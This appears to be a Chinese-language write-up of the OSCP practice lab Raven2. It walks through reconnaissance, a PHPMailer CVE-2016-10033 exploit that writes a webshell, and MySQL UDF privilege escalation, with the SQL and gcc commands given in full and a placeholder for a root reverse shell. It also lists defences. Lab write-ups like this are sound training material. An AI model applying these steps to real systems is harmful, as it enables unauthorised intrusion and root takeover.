OSCP靶场52——Raven2
字数 1614 2025-10-14 00:33:59

OSCP靶场52——Raven2 渗透测试实战教学文档

攻击链概览

  1. 信息收集:端口扫描、目录枚举、WordPress组件识别
  2. 边界突破:利用PHPMailer插件漏洞(CVE-2016-10033)获取初始访问权限
  3. 权限提升:通过MySQL UDF提权从www-data用户提升至root权限

关键技术知识点

PHPMailer漏洞(CVE-2016-10033)

  • 影响版本:PHPMailer 5.2.16及以下版本
  • 漏洞类型:远程代码执行(RCE)
  • 利用条件:需要知道邮件发送功能的具体文件路径(如contact.php)

MySQL UDF提权

  • 前提条件
    • MySQL以root权限运行
    • 具备FILE权限(可写入文件)
    • secure_file_priv设置允许文件导出到特定目录
  • 核心原理:通过创建用户定义函数(UDF)执行系统命令

详细渗透过程

第一阶段:信息收集

端口扫描

# 快速端口发现
ports=$(nmap -p- --min-rate=1000 -T4 172.16.33.190 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# 详细服务扫描
nmap -A -p$ports 172.16.33.190 > n1.txt

关键发现

  • 80端口:Web服务(潜在的信息源,可能包含SSH密钥或用户名)
  • 22端口:SSH服务
  • 111、48407端口:可能存在的辅助服务

Web目录枚举

# 使用gobuster进行目录扫描
gobuster dir -u http://172.16.33.190/ -w /usr/share/dirb/wordlists/common.txt -t 10 --timeout 15s --delay 100ms

# 使用dirsearch进行文件类型扫描
dirsearch -u http://172.16.33.190/ -f -e php,txt,pdf,html

重要发现

  1. PHPMailer 5.2.16:存在已知RCE漏洞
  2. WordPress站点:需要进一步枚举
  3. .DS_Store文件:macOS系统文件(信息价值有限)

WordPress漏洞扫描

wpscan --url http://172.16.33.190/wordpress/ --enumerate vp,vt,u --api-token [TOKEN]

用户枚举结果:发现两个普通用户账户

第二阶段:边界突破

PHPMailer漏洞利用

漏洞验证

searchsploit PHPMailer

发现两个RCE漏洞利用脚本,选择适合5.2.16版本的进行测试。

关键配置要点

  • 目标路径:必须指定完整Web路径(如/var/www/backdoor.php
  • 目标文件:邮件发送功能页面(contact.php
  • 利用URLhttp://172.16.33.190/contact.php

利用过程

  1. 修改漏洞利用脚本中的IP和端口参数
  2. 设置正确的Webshell写入路径
  3. 访问webshell获取反向连接

常见问题解决

  • 如果无法弹回shell,检查路径是否正确
  • 验证contact.php页面是否确实存在邮件发送功能

第三阶段:权限提升

初始权限评估

获得www-data用户权限后,发现两个普通用户账户,但SSH爆破未成功。

提权路径分析

# 检查以root权限运行的进程
ps -aux | grep root

发现MySQL以root权限运行,符合UDF提权条件。

MySQL UDF提权详细步骤

1. 环境验证

-- 检查文件导出权限
show variables like '%secure_file_priv%';

需要确保该值允许文件导出到系统目录(如/usr/lib/mysql/plugin/

2. 编译UDF库

# 编译共享库
gcc -g -c 15.c
gcc -g -shared -Wl,-soname,15.so -o 15.so 15.o -lc

3. 数据库操作

use mysql;

-- 创建临时表存储so文件
create table foo(line blob);

-- 将so文件内容插入表中
insert into foo values(load_file('/tmp/15.so'));

-- 将so文件导出到插件目录
select * from foo into dumpfile '/usr/lib/mysql/plugin/15.so';

-- 创建UDF函数
create function do_sysf returns integer soname '15.so';

-- 验证函数创建成功
select * from mysql.func;

4. 执行提权命令

-- 通过UDF函数执行系统命令,反弹root shell
select do_sysf('反弹shell命令');

关键注意事项

PHPMailer漏洞利用要点

  1. 路径准确性:必须使用绝对路径而非相对路径
  2. 目标文件确认:确保contact.php确实存在且可访问
  3. 防火墙规避:注意出站连接可能被防火墙拦截

MySQL UDF提权关键点

  1. 权限验证:确认MySQL以root运行且具有FILE权限
  2. 目录权限:确保对/usr/lib/mysql/plugin/目录有写入权限
  3. 函数创建:函数名和so文件名需要对应
  4. 命令执行:通过函数执行系统命令时注意命令格式

防御建议

针对PHPMailer漏洞

  1. 及时更新PHPMailer到安全版本
  2. 对用户输入进行严格过滤和验证
  3. 限制文件上传功能和邮件发送权限

针对MySQL提权

  1. 避免以root权限运行MySQL服务
  2. 限制MySQL的FILE权限
  3. 设置严格的secure_file_priv值
  4. 定期审计数据库用户权限

总结

本靶场展示了从外部侦察到完全控制服务器的完整攻击链,重点强调了:

  • 细致的信息收集对后续攻击的重要性
  • 已知漏洞的准确识别和利用
  • 多阶段提权路径的识别和利用
  • 数据库服务安全配置的关键性

通过掌握这些技术要点,安全人员可以更好地理解真实环境中的攻击手法,并制定相应的防御策略。

OSCP靶场52——Raven2 渗透测试实战教学文档 攻击链概览 信息收集 :端口扫描、目录枚举、WordPress组件识别 边界突破 :利用PHPMailer插件漏洞(CVE-2016-10033)获取初始访问权限 权限提升 :通过MySQL UDF提权从www-data用户提升至root权限 关键技术知识点 PHPMailer漏洞(CVE-2016-10033) 影响版本 :PHPMailer 5.2.16及以下版本 漏洞类型 :远程代码执行(RCE) 利用条件 :需要知道邮件发送功能的具体文件路径(如contact.php) MySQL UDF提权 前提条件 : MySQL以root权限运行 具备FILE权限(可写入文件) secure_ file_ priv设置允许文件导出到特定目录 核心原理 :通过创建用户定义函数(UDF)执行系统命令 详细渗透过程 第一阶段:信息收集 端口扫描 关键发现 : 80端口:Web服务(潜在的信息源,可能包含SSH密钥或用户名) 22端口:SSH服务 111、48407端口:可能存在的辅助服务 Web目录枚举 重要发现 : PHPMailer 5.2.16 :存在已知RCE漏洞 WordPress站点 :需要进一步枚举 .DS_ Store文件 :macOS系统文件(信息价值有限) WordPress漏洞扫描 用户枚举结果 :发现两个普通用户账户 第二阶段:边界突破 PHPMailer漏洞利用 漏洞验证 : 发现两个RCE漏洞利用脚本,选择适合5.2.16版本的进行测试。 关键配置要点 : 目标路径 :必须指定完整Web路径(如 /var/www/backdoor.php ) 目标文件 :邮件发送功能页面( contact.php ) 利用URL : http://172.16.33.190/contact.php 利用过程 : 修改漏洞利用脚本中的IP和端口参数 设置正确的Webshell写入路径 访问webshell获取反向连接 常见问题解决 : 如果无法弹回shell,检查路径是否正确 验证contact.php页面是否确实存在邮件发送功能 第三阶段:权限提升 初始权限评估 获得www-data用户权限后,发现两个普通用户账户,但SSH爆破未成功。 提权路径分析 发现MySQL以root权限运行,符合UDF提权条件。 MySQL UDF提权详细步骤 1. 环境验证 需要确保该值允许文件导出到系统目录(如 /usr/lib/mysql/plugin/ ) 2. 编译UDF库 3. 数据库操作 4. 执行提权命令 关键注意事项 PHPMailer漏洞利用要点 路径准确性 :必须使用绝对路径而非相对路径 目标文件确认 :确保contact.php确实存在且可访问 防火墙规避 :注意出站连接可能被防火墙拦截 MySQL UDF提权关键点 权限验证 :确认MySQL以root运行且具有FILE权限 目录权限 :确保对 /usr/lib/mysql/plugin/ 目录有写入权限 函数创建 :函数名和so文件名需要对应 命令执行 :通过函数执行系统命令时注意命令格式 防御建议 针对PHPMailer漏洞 及时更新PHPMailer到安全版本 对用户输入进行严格过滤和验证 限制文件上传功能和邮件发送权限 针对MySQL提权 避免以root权限运行MySQL服务 限制MySQL的FILE权限 设置严格的secure_ file_ priv值 定期审计数据库用户权限 总结 本靶场展示了从外部侦察到完全控制服务器的完整攻击链,重点强调了: 细致的信息收集对后续攻击的重要性 已知漏洞的准确识别和利用 多阶段提权路径的识别和利用 数据库服务安全配置的关键性 通过掌握这些技术要点,安全人员可以更好地理解真实环境中的攻击手法,并制定相应的防御策略。